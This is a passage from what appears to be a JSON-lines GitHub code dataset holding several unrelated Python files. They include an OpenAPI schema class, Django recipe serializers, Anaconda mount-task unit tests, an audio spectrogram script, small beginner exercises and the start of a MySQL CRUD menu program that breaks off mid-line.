\"emailAddress\",\n })\n \n def __new__(\n cls,\n *,\n commonName: str,\n countryName: typing.Union[\n str,\n schemas.Unset\n ] = schemas.unset,\n stateOrProvinceName: typing.Union[\n str,\n schemas.Unset\n ] = schemas.unset,\n localityName: typing.Union[\n str,\n schemas.Unset\n ] = schemas.unset,\n organizationName: typing.Union[\n str,\n schemas.Unset\n ] = schemas.unset,\n organizationalUnitName: typing.Union[\n str,\n schemas.Unset\n ] = schemas.unset,\n emailAddress: typing.Union[\n str,\n schemas.Unset\n ] = schemas.unset,\n configuration_: typing.Optional[schema_configuration.SchemaConfiguration] = None,\n **kwargs: schemas.INPUT_TYPES_ALL,\n ):\n arg_: typing.Dict[str, typing.Any] = {\n \"commonName\": commonName,\n }\n for key_, val in (\n (\"countryName\", countryName),\n (\"stateOrProvinceName\", stateOrProvinceName),\n (\"localityName\", localityName),\n (\"organizationName\", organizationName),\n (\"organizationalUnitName\", organizationalUnitName),\n (\"emailAddress\", emailAddress),\n ):\n if isinstance(val, schemas.Unset):\n continue\n arg_[key_] = val\n arg_.update(kwargs)\n used_arg_ = typing.cast(DistinguishedNameDictInput, arg_)\n return DistinguishedName.validate(used_arg_, configuration=configuration_)\n \n @staticmethod\n def from_dict_(\n arg: typing.Union[\n DistinguishedNameDictInput,\n DistinguishedNameDict\n ],\n configuration: typing.Optional[schema_configuration.SchemaConfiguration] = None\n ) -> DistinguishedNameDict:\n return DistinguishedName.validate(arg, configuration=configuration)\n \n @property\n def commonName(self) -> str:\n return typing.cast(\n str,\n self.__getitem__(\"commonName\")\n )\n \n @property\n def countryName(self) -> typing.Union[str, schemas.Unset]:\n val = self.get(\"countryName\", schemas.unset)\n if isinstance(val, schemas.Unset):\n return val\n return typing.cast(\n str,\n val\n )\n \n @property\n def stateOrProvinceName(self) -> typing.Union[str, schemas.Unset]:\n val = self.get(\"stateOrProvinceName\", schemas.unset)\n if isinstance(val, schemas.Unset):\n return val\n return typing.cast(\n str,\n val\n )\n \n @property\n def localityName(self) -> typing.Union[str, schemas.Unset]:\n val = self.get(\"localityName\", schemas.unset)\n if isinstance(val, schemas.Unset):\n return val\n return typing.cast(\n str,\n val\n )\n \n @property\n def organizationName(self) -> typing.Union[str, schemas.Unset]:\n val = self.get(\"organizationName\", schemas.unset)\n if isinstance(val, schemas.Unset):\n return val\n return typing.cast(\n str,\n val\n )\n \n @property\n def organizationalUnitName(self) -> typing.Union[str, schemas.Unset]:\n val = self.get(\"organizationalUnitName\", schemas.unset)\n if isinstance(val, schemas.Unset):\n return val\n return typing.cast(\n str,\n val\n )\n \n @property\n def emailAddress(self) -> typing.Union[str, schemas.Unset]:\n val = self.get(\"emailAddress\", schemas.unset)\n if isinstance(val, schemas.Unset):\n return val\n return typing.cast(\n str,\n val\n )\n \n def get_additional_property_(self, name: str) -> typing.Union[schemas.OUTPUT_BASE_TYPES, schemas.Unset]:\n schemas.raise_if_key_known(name, self.__required_keys__, self.__optional_keys__)\n return self.get(name, schemas.unset)\nDistinguishedNameDictInput = typing.Mapping[str, schemas.INPUT_TYPES_ALL]\n\n\n@dataclasses.dataclass(frozen=True)\nclass DistinguishedName(\n schemas.Schema[DistinguishedNameDict, tuple]\n):\n \"\"\"NOTE: This class is auto generated by OpenAPI JSON Schema Generator.\n Ref: https://github.com/openapi-json-schema-tools/openapi-json-schema-generator\n\n Do not edit the class manually.\n \"\"\"\n types: typing.FrozenSet[typing.Type] = frozenset({schemas.immutabledict})\n required: typing.FrozenSet[str] = frozenset({\n \"commonName\",\n })\n properties: Properties = dataclasses.field(default_factory=lambda: schemas.typed_dict_to_instance(Properties)) # type: ignore\n type_to_output_cls: typing.Mapping[\n typing.Type,\n typing.Type\n ] = dataclasses.field(\n default_factory=lambda: {\n schemas.immutabledict: DistinguishedNameDict\n }\n )\n\n @classmethod\n def validate(\n cls,\n arg: typing.Union[\n DistinguishedNameDictInput,\n DistinguishedNameDict,\n ],\n configuration: typing.Optional[schema_configuration.SchemaConfiguration] = None\n ) -> DistinguishedNameDict:\n return super().validate_base(\n arg,\n configuration=configuration,\n )\n\n","repo_name":"Nitrokey/nethsm-sdk-py","sub_path":"nethsm/client/components/schema/distinguished_name.py","file_name":"distinguished_name.py","file_ext":"py","file_size_in_byte":7230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70034457707","text":"from inspect import stack\n\n\ndef push(lst):\n bn = int(input(\"BN = \"))\n bname = input(\"name = \")\n record = (bn, bname)\n lst.append(record)\n print(lst)\ndef pop(lst):\n del_rec = lst.pop()\n print(del_rec)\n\nbstack = []\nmenu = '''OPTIONS:\n1) push\n2) pop\n3) exit'''\nwhile True:\n print(menu)\n op = int(input('Enter option number: '))\n if op == 1:\n push(bstack)\n elif op== 2:\n pop(bstack)\n elif op == 3:\n print('thank u ')\n break\n else:\n print('invalid option')\n\n","repo_name":"erum-meraj/learning-python","sub_path":"12th/data_strc/reverse_lst.py","file_name":"reverse_lst.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34481445706","text":"from django.shortcuts import get_object_or_404\n\nfrom djoser.serializers import UserSerializer as DjoserUserSerializer\nfrom drf_extra_fields.fields import Base64ImageField\nfrom rest_framework import serializers\n\nfrom recipes.models import (Favorite, Ingredient, IngredientToRecipe, Recipe,\n ShoppingCart, Tag)\nfrom users.models import Subscribe, User\n\n\nclass UserSerializer(DjoserUserSerializer):\n is_subscribed = serializers.SerializerMethodField()\n\n class Meta:\n model = User\n fields = (\n 'id',\n 'username',\n 'email',\n 'first_name',\n 'last_name',\n 'is_subscribed',\n )\n\n def get_is_subscribed(self, obj):\n request = self.context.get('request')\n if not request or request.user.is_anonymous:\n return False\n return obj.subscribed.filter(user=request.user).exists()\n\n\nclass IngredientSerializer(serializers.ModelSerializer):\n class Meta:\n model = Ingredient\n fields = ('id', 'name', 'measurement_unit',)\n\n\nclass IngredietToRecipeSerializer(serializers.ModelSerializer):\n id = serializers.IntegerField(read_only=False)\n name = serializers.SerializerMethodField()\n\n class Meta:\n model = IngredientToRecipe\n fields = ('id', 'name', 'amount')\n\n def get_name(self, obj):\n return obj.ingredient.name\n\n\nclass TagSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Tag\n fields = ('id', 'name', 'color', 'slug',)\n\n\nclass RecipeReadOnlySerializer(serializers.ModelSerializer):\n \"\"\"Сериалайзер для чтения одного / списка рецептов\"\"\"\n tags = TagSerializer(many=True)\n ingredients = serializers.SerializerMethodField()\n author = UserSerializer()\n is_favorited = serializers.SerializerMethodField()\n is_in_shopping_cart = serializers.SerializerMethodField()\n image = Base64ImageField(required=False)\n\n class Meta:\n model = Recipe\n fields = (\n 'id',\n 'author',\n 'pub_date',\n 'name',\n 'text',\n 'tags',\n 'cooking_time',\n 'ingredients',\n 'image',\n 'is_favorited',\n 'is_in_shopping_cart',\n )\n read_only_fields = fields\n\n def get_ingredients(self, obj):\n ingredients_to_recipe = IngredientToRecipe.objects.filter(\n recipe=obj\n ).distinct()\n ingredients = IngredietToRecipeSerializer(\n ingredients_to_recipe, many=True\n )\n\n for link in ingredients.data:\n link_model = IngredientToRecipe.objects.get(pk=link['id'])\n measure = link_model.ingredient.measurement_unit\n id = link_model.ingredient.id\n link['measurement_unit'] = measure\n link['id'] = id\n return ingredients.data\n\n def get_is_favorited(self, obj):\n request = self.context.get('request')\n if not request or request.user.is_anonymous:\n return False\n return obj.favorite.filter(user=request.user).exists()\n\n def get_is_in_shopping_cart(self, obj):\n request = self.context.get('request')\n if not request or request.user.is_anonymous:\n return False\n return obj.shoppingcart.filter(user=request.user).exists()\n\n\nclass RecipeMiniSerializer(RecipeReadOnlySerializer):\n \"\"\"read-only мини версия отображения рецепта с меньшим кол-вом полей\"\"\"\n\n class Meta:\n model = Recipe\n fields = (\n 'id',\n 'name',\n 'image',\n 'cooking_time',\n )\n\n\nclass UserIncludeSerializer(UserSerializer):\n \"\"\"Дополнительный сериалайзер пользователя\n для использования в других вью / сериалайзерах\"\"\"\n recipes = serializers.SerializerMethodField()\n recipes_count = serializers.SerializerMethodField()\n\n class Meta:\n model = User\n fields = (\n 'id',\n 'username',\n 'email',\n 'first_name',\n 'last_name',\n 'is_subscribed',\n 'recipes',\n 'recipes_count',\n )\n\n def get_recipes_count(self, obj):\n return obj.recipes.count()\n\n def get_recipes(self, obj):\n recipes_limit = (\n self._context['request'].query_params.get('recipes_limit', False)\n )\n recipes = obj.recipes.all()\n if recipes_limit:\n recipes = recipes[:abs(int(recipes_limit))]\n\n serializer = RecipeMiniSerializer(\n recipes,\n many=True,\n context=self.context\n )\n return serializer.data\n\n\nclass RecipeCUDSerializer(serializers.ModelSerializer):\n \"\"\"Сериалайзер для CREATE/PATCH/DELETE запросов к рецептам\"\"\"\n ingredients = IngredietToRecipeSerializer(\n many=True,\n required=True,\n )\n tags = serializers.PrimaryKeyRelatedField(\n many=True,\n read_only=False,\n queryset=Tag.objects.all(),\n required=True,\n )\n image = Base64ImageField(required=True)\n author = UserSerializer(read_only=True)\n\n class Meta:\n model = Recipe\n fields = (\n 'id',\n 'name',\n 'text',\n 'tags',\n 'cooking_time',\n 'ingredients',\n 'image',\n 'author',\n )\n\n def validate(self, data):\n \"\"\"Кастомная валидация для PATCH запроса\"\"\"\n required_fields = [\n 'name',\n 'text',\n 'tags',\n 'cooking_time',\n 'ingredients',\n ]\n if self.context['request'].method == 'POST':\n required_fields.append('image')\n\n for field in required_fields:\n if not (data.get(field)):\n raise serializers.ValidationError('Не все поля заполнены!')\n return data\n\n def validate_tags(self, value):\n for tag in value:\n if value.count(tag) > 1:\n raise serializers.ValidationError(\n 'Теги не должны повторяться!'\n )\n return value\n\n def validate_ingredients(self, value):\n recipe_ingredients = []\n for ingredient in value:\n id = ingredient.get('id')\n if id in recipe_ingredients:\n raise serializers.ValidationError(\n 'Ингредиенты не должны повторяться!'\n )\n recipe_ingredients.append(id)\n\n amount = ingredient.get('amount')\n if (not amount) or amount < 1:\n raise serializers.ValidationError(\n 'Введите количество ингредиента!'\n )\n return value\n\n def validate_cooking_time(self, value):\n if value < 1:\n raise serializers.ValidationError(\n 'Время приготовление должно быть больше 0!'\n )\n return value\n\n def to_representation(self, instance):\n \"\"\"Вывод информации о тегах и ингредиентах\n при успешном создании рецепта\"\"\"\n return RecipeReadOnlySerializer(instance).data\n\n @staticmethod\n def ingredient_to_recipe_link(recipe, ingredient_to_recipe):\n\n ingredients_to_recipe_data = []\n for ingredient_data in ingredient_to_recipe:\n amount = ingredient_data.pop('amount')\n current_ingredient = Ingredient.objects.get(**ingredient_data)\n ingredients_to_recipe_data.append(\n IngredientToRecipe(\n ingredient=current_ingredient,\n amount=amount,\n recipe=recipe,\n )\n )\n\n IngredientToRecipe.objects.bulk_create(ingredients_to_recipe_data)\n\n def create(self, validated_data):\n tags = validated_data.pop('tags')\n ingredient_to_recipe = validated_data.pop('ingredients')\n author = self.context['request'].user\n recipe = Recipe.objects.create(**validated_data, author=author)\n recipe.tags.set(tags)\n self.ingredient_to_recipe_link(recipe, ingredient_to_recipe)\n return recipe\n\n def update(self, instance, validated_data):\n tags = validated_data.pop('tags')\n ingredient_to_recipe = validated_data.pop('ingredients')\n\n instance.tags.clear()\n instance.tags.set(tags)\n instance.ingredients.all().delete()\n self.ingredient_to_recipe_link(instance, ingredient_to_recipe)\n\n return super().update(instance, validated_data)\n\n\nclass RecipeLinkSerializer(serializers.ModelSerializer):\n \"\"\"Абстрактный сериалайзер для связи рецепта и пользователя\"\"\"\n def validate(self, data):\n recipe = get_object_or_404(\n Recipe,\n pk=self.initial_data['recipe']\n )\n user = self.context['request'].user\n model = self.__class__.Meta.model\n if model.objects.filter(\n recipe=recipe,\n user=user\n ).exists():\n raise serializers.ValidationError(\n 'Уже добавлено!'\n )\n return data\n\n\nclass FavoriteSerializer(RecipeLinkSerializer):\n class Meta:\n model = Favorite\n fields = ('id', 'user', 'recipe',)\n read_only_fields = fields\n\n\nclass ShoppingCartSerializer(RecipeLinkSerializer):\n class Meta:\n model = ShoppingCart\n fields = ('id', 'user', 'recipe',)\n read_only_fields = fields\n\n\nclass SubscribeSerializer(serializers.ModelSerializer):\n class Meta:\n model = Subscribe\n fields = ('id', 'author', 'user')\n read_only_fields = fields\n\n def validate(self, data):\n author = self.context['author']\n user = self.context['request'].user\n if (\n author == user or\n Subscribe.objects.filter(\n author=author,\n user=user\n ).exists()\n ):\n raise serializers.ValidationError(\n 'Нельзя подписаться на этого пользователя!'\n )\n return data\n","repo_name":"aogridasov/foodgram-project-react","sub_path":"backend/foodgram/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":10507,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"28373400055","text":"import unittest\nfrom unittest.mock import patch\n\nfrom pyanaconda.core.constants import INSTALL_TREE\nfrom pyanaconda.modules.common.errors.payload import SourceSetupError, SourceTearDownError\nfrom pyanaconda.modules.payloads.constants import SourceType\nfrom pyanaconda.modules.payloads.source.mount_tasks import SetUpMountTask, TearDownMountTask\nfrom pyanaconda.modules.payloads.source.source_base import MountingSourceMixin\n\nmount_location = \"/some/dir\"\n\n\nclass DummyMountingSourceSubclass(MountingSourceMixin):\n \"\"\"Dummy class to test code in its abstract ancestor.\"\"\"\n\n @property\n def type(self):\n return SourceType.URL\n\n\nclass DummySetUpMountTaskSubclass(SetUpMountTask):\n \"\"\"Dummy class to test code in its abstract ancestor.\"\"\"\n\n @property\n def name(self):\n return \"Set up Dummy Installation Source\"\n\n def _do_mount(self):\n pass\n\n\nclass MountingSourceMixinTestCase(unittest.TestCase):\n\n def counter_test(self):\n \"\"\"Mount path in mount source base gets incremental numbers.\"\"\"\n module = DummyMountingSourceSubclass()\n self.assertTrue(module.mount_point.startswith(INSTALL_TREE + \"/mount-\"))\n first_counter = int(module.mount_point.split(\"-\")[1])\n\n module = DummyMountingSourceSubclass()\n second_counter = int(module.mount_point.split(\"-\")[1])\n\n self.assertEqual(first_counter, second_counter - 1)\n\n @patch(\"os.path.ismount\")\n def mount_state_test(self, ismount_mock):\n \"\"\"Mount source state for set up.\"\"\"\n ismount_mock.return_value = False\n module = DummyMountingSourceSubclass()\n self.assertEqual(False, module.get_mount_state())\n\n ismount_mock.reset_mock()\n ismount_mock.return_value = True\n\n self.assertEqual(True, module.get_mount_state())\n\n ismount_mock.assert_called_once_with(module.mount_point)\n\n\nclass TearDownMountTaskTestCase(unittest.TestCase):\n\n def name_test(self):\n \"\"\"Tear down mount source task name.\"\"\"\n task = TearDownMountTask(mount_location)\n self.assertEqual(task.name, \"Tear down mount installation source\")\n\n @patch(\"pyanaconda.modules.payloads.source.mount_tasks.os.path.ismount\", return_value=False)\n @patch(\"pyanaconda.modules.payloads.source.mount_tasks.unmount\", return_value=True)\n def run_success_test(self, unmount_mock, ismount_mock):\n \"\"\"Tear down mount source task execution.\"\"\"\n task = TearDownMountTask(mount_location)\n task.run()\n unmount_mock.assert_called_once_with(mount_location)\n ismount_mock.assert_called_once_with(mount_location)\n\n @patch(\"pyanaconda.modules.payloads.source.mount_tasks.os.path.ismount\", return_value=True)\n @patch(\"pyanaconda.modules.payloads.source.mount_tasks.unmount\", return_value=True)\n def run_failure_test(self, unmount_mock, ismount_mock):\n \"\"\"Tear down mount source task failure.\"\"\"\n task = TearDownMountTask(mount_location)\n with self.assertRaises(SourceTearDownError) as cm:\n task.run()\n\n self.assertEqual(str(cm.exception), \"The mount point /some/dir is still in use.\")\n unmount_mock.assert_called_once_with(mount_location)\n ismount_mock.assert_called_once_with(mount_location)\n\n\nclass SetUpMountTaskTestCase(unittest.TestCase):\n\n @patch(\"pyanaconda.modules.payloads.source.mount_tasks.os.path.ismount\", return_value=False)\n def run_success_test(self, ismount_mock):\n \"\"\"Set up mount base task success case.\"\"\"\n task = DummySetUpMountTaskSubclass(mount_location)\n task.run()\n ismount_mock.assert_called_once_with(mount_location)\n\n @patch(\"pyanaconda.modules.payloads.source.mount_tasks.os.path.ismount\", return_value=True)\n def run_failure_test(self, ismount_mock):\n \"\"\"Set up mount base task when already mounted.\"\"\"\n task = DummySetUpMountTaskSubclass(mount_location)\n with self.assertRaises(SourceSetupError) as cm:\n task.run()\n\n self.assertEqual(str(cm.exception), \"The mount point /some/dir is already in use.\")\n ismount_mock.assert_called_once_with(mount_location)\n","repo_name":"t184256/anaconda","sub_path":"tests/nosetests/pyanaconda_tests/module_source_base_test.py","file_name":"module_source_base_test.py","file_ext":"py","file_size_in_byte":4124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"35816952694","text":"'''\n Read and inspect the data provided by the supervisors (convert raw data to spectograms).\n Describe it in the methods sections. Describe your strategy of tackling the problem.\n'''\n\nimport soundfile as sf\nimport os\nfrom scipy.io import wavfile # scipy library to read wav files\nimport numpy as np\n\nfrom config import config\n\n\n\ndef first_try():\n path = config[\"DATAPATH\"]\n filenames = [\"2018-08-14/\" + nm for nm in [\n \"b8p2male-b10o15female_3_DAQmxChannels.w64\", # 1 channel\n \"b8p2male-b10o15female_3_SdrSignalStrength.w64\", # 3 channels, values between -61 and 7\n \"b8p2male-b10o15female_3_SdrCarrierFreq.w64\", # has 3 channels\n \"b8p2male-b10o15female_3_SdrChannels.w64\", # 3 channels, not same length as DAQmx but similar (11 mio vs. 15 mio)\n \"b8p2male-b10o15female_3_SdrReceiveFreq.w64\", # 3 channels. Has values between 301*10^6 and 307*10^6 --these are the min & max transmitter frequencies for the male bird (see .csv), whatever that means.\n \"b8p2male-b10o15female_3_SdrChannelList.csv\",\n ]]\n # with sf.SoundFile(os.path.join(path, filenames[0]), 'r') as f:\n # while f.tell() < len(f):\n # pos = f.tell()\n # data = f.read(1024)\n # f.seek(pos)\n\n for fn in filenames[:-1]:\n filename0 = os.path.join(path, fn)\n with open(filename0, 'rb') as f:\n Audiodata, samplerate = sf.read(f)\n\n ########################\n\n # ** From:\n # https://stackoverflow.com/questions/24382832/audio-spectrum-extraction-from-audio-file-by-python\n\n #fs, Audiodata = wavfile.read(filename0)\n\n # Plot the audio signal in time\n import matplotlib.pyplot as plt\n plt.figure()\n plt.plot(Audiodata)\n plt.title('Audio signal in time', size=16)\n # spectrum\n from scipy.fftpack import fft # fourier transform\n n = len(Audiodata)\n AudioFreq = fft(Audiodata, axis=0)\n AudioFreq = AudioFreq[0:int(np.ceil((n + 1) / 2.0))] # Half of the spectrum\n MagFreq = np.abs(AudioFreq) # Magnitude\n MagFreq = MagFreq / float(n)\n # power spectrum\n MagFreq = MagFreq ** 2\n if n % 2 > 0: # ffte odd\n MagFreq[1:len(MagFreq)] = MagFreq[1:len(MagFreq)] * 2\n else: # fft even\n MagFreq[1:len(MagFreq) - 1] = MagFreq[1:len(MagFreq) - 1] * 2\n\n plt.figure()\n freqAxis = np.arange(0, int(np.ceil((n + 1) / 2.0)), 1.0) * (samplerate / n);\n plt.plot(freqAxis / 1000.0, 10 * np.log10(MagFreq)) # Power spectrum\n plt.xlabel('Frequency (kHz)');\n plt.ylabel('Power spectrum (dB)');\n\n # Spectrogram\n from scipy import signal\n N = 512 # Number of point in the fft\n if len(Audiodata.shape) == 1:\n Audiodata = Audiodata[:, np.newaxis]\n for i in range(Audiodata.shape[1]):\n f, t, Sxx = signal.spectrogram(Audiodata[:, i], samplerate, window=signal.blackman(N), nfft=N)\n plt.figure()\n plt.pcolormesh(t, f, 10 * np.log10(Sxx)) # dB spectrogram\n # plt.pcolormesh(t, f,Sxx) # Lineal spectrogram\n plt.ylabel('Frequency [Hz]')\n plt.xlabel('Time [seg]')\n plt.title('Spectrogram with scipy.signal', size=16);\n\n plt.show()\n\n print(\"breakpoint\")\n\n\nif __name__ == '__main__':\n first_try()","repo_name":"sunsibar/vocal-recon","sub_path":"code/data_loading.py","file_name":"data_loading.py","file_ext":"py","file_size_in_byte":3433,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"36236132708","text":"# Q26.\n# Write a Python program to print a dictionary in table format.\n# my_dict = {'C1':[1,2,3],'C2':[5,6,7],'C3':[9,10,11]}\n# Sample Output:\n# C1 C2 C3\n# 1 5 9\n# 2 6 10\n# 3 7 11\na= {'C1':[1,2,3],'C2':[5,6,7],'C3':[9,10,11]}\nb=list(a.values())\nfor j in range(len(b)):\n for k in range(len(b)):\n print(b[k][j],end=\" \")\n print()\n\n","repo_name":"POOJABINJWA/dictionaries","sub_path":"doc q26 .py","file_name":"doc q26 .py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27445971446","text":"num_list = [33,42,5,66,77,22,16,79,36,62,78,43,88,39,53,67,89,11]\n\ncount=0\nfor x,num in enumerate(num_list): \n count+=1 \n if num==88: # emumerate function counts the number of items in the list before the given item in the list...\n print(\"the number is found \", x)\n break\n\nprint(count) # Count will counts the number till the item in the condition.\n\n\n\n# example for enumerate function...\n\nx=(\"ammar\",\"waqar\",\"qasim\",\"yousaf\",\"abubaker\") # names of persons in list.\ny=enumerate(x)\n\nprint(list(y))","repo_name":"waqarakrambhutta/pyhton-basic-program","sub_path":"python_loop_controlflow.py","file_name":"python_loop_controlflow.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"40422456126","text":"import mysql.connector\r\n\r\nfrom create import create_record\r\nfrom read import get_all_records\r\nfrom set_operations import perform_except, perform_intersect, perform_union\r\nfrom set_comparision import compare_sets_equal_to, compare_sets_greater_than, compare_sets_less_than\r\nfrom set_membership import check_in_membership, check_exists_membership\r\nfrom update import update_record\r\nfrom delete import delete_record\r\nfrom db_connector import connect_to_database, close_database_connection, get_primary_key\r\n\r\ndef list_tables(connection):\r\n cursor = connection.cursor()\r\n cursor.execute(\"SHOW TABLES\")\r\n tables = [table[0] for table in cursor.fetchall()]\r\n return tables\r\n\r\ndef select_table():\r\n while True:\r\n print(\"\\n===== Table Selection =====\")\r\n tables = list_tables(db_connection)\r\n print(\"Available Tables:\")\r\n for index, table in enumerate(tables):\r\n print(f\"{index + 1}. {table}\")\r\n\r\n table_choice = input(\"Please select the table you wish to work with: \")\r\n try:\r\n table_index = int(table_choice) - 1\r\n if 0 <= table_index < len(tables):\r\n return tables[table_index] # Return the selected table name\r\n else:\r\n print(\"Invalid table choice. Please select a valid table.\")\r\n except ValueError:\r\n print(\"Invalid input. Please enter a valid number.\")\r\n\r\ndef main_menu():\r\n while True:\r\n print(\"\\n===== Road Traffic Management System =====\")\r\n print(\"1. CRUD Operations\")\r\n print(\"2. Advanced Operations\")\r\n print(\"3. Exit\")\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"1\":\r\n # CRUD Operations Menu\r\n crud_operations_menu()\r\n \r\n elif choice == \"2\":\r\n # Advanced Operations Menu\r\n advanced_operations_menu()\r\n \r\n elif choice == \"3\":\r\n print(\"Exiting the application. Goodbye!\")\r\n break # Exit the program\r\n \r\n else:\r\n print(\"Invalid choice. Please select a valid option.\")\r\n\r\ndef crud_operations_menu():\r\n table_name = select_table()\r\n primary_key = get_primary_key(db_connection, table_name)\r\n\r\n if primary_key is None:\r\n print(f\"Table {table_name} does not have a primary key defined.\")\r\n return\r\n\r\n while True:\r\n print(f\"\\nTable: {table_name}\")\r\n print(\"CRUD Operations Menu:\")\r\n print(\"1. Create (Insert) Record\")\r\n print(\"2. Read (Retrieve) Records\")\r\n print(\"3. Update Record\")\r\n print(\"4. Delete Record\")\r\n print(\"5. Back to Main Menu\")\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"1\":\r\n # Create a record\r\n data = input(f\"Enter the values of the record in ({', '.join(get_table_columns(db_connection, table_name))}) format: \")\r\n values = data.split(',')\r\n if len(values) != len(get_table_columns(db_connection, table_name)):\r\n print(\"Invalid input. Please provide values for all columns.\")\r\n else:\r\n data_dict = {column: value for column, value in zip(get_table_columns(db_connection, table_name), values)}\r\n create_record(db_connection, table_name, data_dict)\r\n\r\n elif choice == \"2\":\r\n # Read (Retrieve) Records\r\n records = get_all_records(db_connection, table_name)\r\n if records:\r\n print(\"\\nRecords:\")\r\n for index, record in enumerate(records):\r\n print(f\"Record {index + 1}: {', '.join(f'{key}: {value}' for key, value in record.items())}\")\r\n else:\r\n print(\"No records found in the table.\")\r\n\r\n elif choice == \"3\":\r\n # Update Record\r\n primary_key_value = input(f\"Enter the {primary_key} of the record to update: \")\r\n data = input(f\"Enter the new values of the record in ({', '.join(get_table_columns(db_connection, table_name))}) format: \")\r\n values = data.split(',')\r\n if len(values) != len(get_table_columns(db_connection, table_name)):\r\n print(\"Invalid input. Please provide values for all columns.\")\r\n else:\r\n data_dict = {column: value for column, value in zip(get_table_columns(db_connection, table_name), values)}\r\n update_record(db_connection, table_name, primary_key, primary_key_value, data_dict)\r\n\r\n elif choice == \"4\":\r\n # Delete Record\r\n primary_key_value = input(f\"Enter the {primary_key} of the record to delete: \")\r\n delete_record(db_connection, table_name, primary_key, primary_key_value)\r\n\r\n elif choice == \"5\":\r\n # Return to the Main Menu\r\n break\r\n\r\ndef advanced_operations_menu():\r\n while True:\r\n print(\"\\n===== Advanced Operations Menu =====\")\r\n print(\"1. Set Operations\")\r\n print(\"2. Set Membership\")\r\n print(\"3. Set Comparison\")\r\n print(\"4. Subqueries with WITH Clause\")\r\n print(\"5. Advanced Aggregate Functions\")\r\n print(\"6. Back to Main Menu\")\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"1\":\r\n set_operations_menu()\r\n \r\n elif choice == \"2\":\r\n set_membership_menu()\r\n \r\n elif choice == \"3\":\r\n set_comparison_menu()\r\n \r\n elif choice == \"4\":\r\n subqueries_menu()\r\n \r\n elif choice == \"5\":\r\n aggregate_functions_menu()\r\n \r\n elif choice == \"6\":\r\n break # Return to the Main Menu\r\n \r\n else:\r\n print(\"Invalid choice. Please select a valid option.\")\r\n\r\ndef set_operations_menu():\r\n while True:\r\n\r\n print(\"\\n===== Set Operations Menu =====\")\r\n print(\"1. Union\")\r\n print(\"2. Intersection\")\r\n print(\"3. Difference\")\r\n print(\"4. Back to Advanced Operations Menu\")\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"4\":\r\n break\r\n else:\r\n table_name = select_table()\r\n print(\"please select the second table you wish to perform set operations on:\")\r\n second_table = select_table()\r\n if choice == \"1\":\r\n # Perform Union\r\n print(\"\\nPerforming Union Operation:\")\r\n print(perform_union(db_connection, table_name, second_table))\r\n \r\n elif choice == \"2\":\r\n # Perform Intersection\r\n print(\"\\nPerforming Intersection Operation:\")\r\n print(perform_intersect(db_connection, table_name, second_table))\r\n \r\n elif choice == \"3\":\r\n # Perform Difference\r\n print(\"\\nPerforming Difference Operation:\")\r\n print(perform_except(db_connection, table_name, second_table))\r\n \r\n else:\r\n print(\"Invalid choice. Please select a valid option.\")\r\n\r\ndef set_membership_menu():\r\n while True:\r\n print(\"\\n===== Set Membership Menu =====\")\r\n print(\"1. IN Membership Check\")\r\n print(\"2. EXISTS Membership Check\")\r\n print(\"3. Back to Advanced Operations Menu\")\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"1\":\r\n # IN Membership Check\r\n table_name = select_table()\r\n print(\"\\nPerforming IN Membership Check:\")\r\n column = input(\"Enter the column to check: \")\r\n value = input(\"Enter the value to check: \")\r\n records = check_in_membership(db_connection, table_name, column, value)\r\n print_records(records) # Display or process the membership check results as needed\r\n \r\n elif choice == \"2\":\r\n table_name = select_table()\r\n # EXISTS Membership Check\r\n print(\"\\nPerforming EXISTS Membership Check:\")\r\n condition = input(\"Enter the condition to check: \")\r\n records = check_exists_membership(db_connection, table_name, condition)\r\n print_records(records) # Display or process the membership check results as needed\r\n \r\n elif choice == \"3\":\r\n break # Return to the Advanced Operations Menu\r\n \r\n else:\r\n print(\"Invalid choice. Please select a valid option.\")\r\n\r\ndef set_comparison_menu():\r\n while True:\r\n print(\"\\n===== Set Comparison Menu =====\")\r\n print(\"1. Less Than Comparison\")\r\n print(\"2. Greater Than Comparison\")\r\n print(\"3. Equal To Comparison\")\r\n print(\"4. Back to Advanced Operations Menu\")\r\n choice = input(\"Enter your choice: \")\r\n\r\n if choice == \"1\":\r\n # Less Than Comparison\r\n table_name = select_table()\r\n print(\"\\nPerforming Less Than Comparison:\")\r\n column = input(\"Enter the column to compare: \")\r\n threshold = input(\"Enter the threshold value: \")\r\n records = compare_sets_less_than(db_connection, table_name, column, threshold)\r\n print_records(records) # Display or process the comparison results as needed\r\n \r\n elif choice == \"2\":\r\n # Greater Than Comparison\r\n table_name = select_table()\r\n print(\"\\nPerforming Greater Than Comparison:\")\r\n column = input(\"Enter the column to compare: \")\r\n threshold = input(\"Enter the threshold value: \")\r\n records = compare_sets_greater_than(db_connection, table_name, column, threshold)\r\n print_records(records) # Display or process the comparison results as needed\r\n \r\n elif choice == \"3\":\r\n # Equal To Comparison\r\n table_name = select_table()\r\n print(\"\\nPerforming Equal To Comparison:\")\r\n column = input(\"Enter the column to compare: \")\r\n value = input(\"Enter the value to compare: \")\r\n records = compare_sets_equal_to(db_connection, table_name, column, value)\r\n print_records(records) # Display or process the comparison results as needed\r\n \r\n elif choice == \"4\":\r\n break # Return to the Advanced Operations Menu\r\n \r\n else:\r\n print(\"Invalid choice. Please select a valid option.\")\r\n\r\ndef subqueries_menu():\r\n while True:\r\n print(\"\\n===== Subqueries Menu =====\")\r\n print(\"1.Top 3 Cities with highest population\")\r\n print(\"2.Top 3 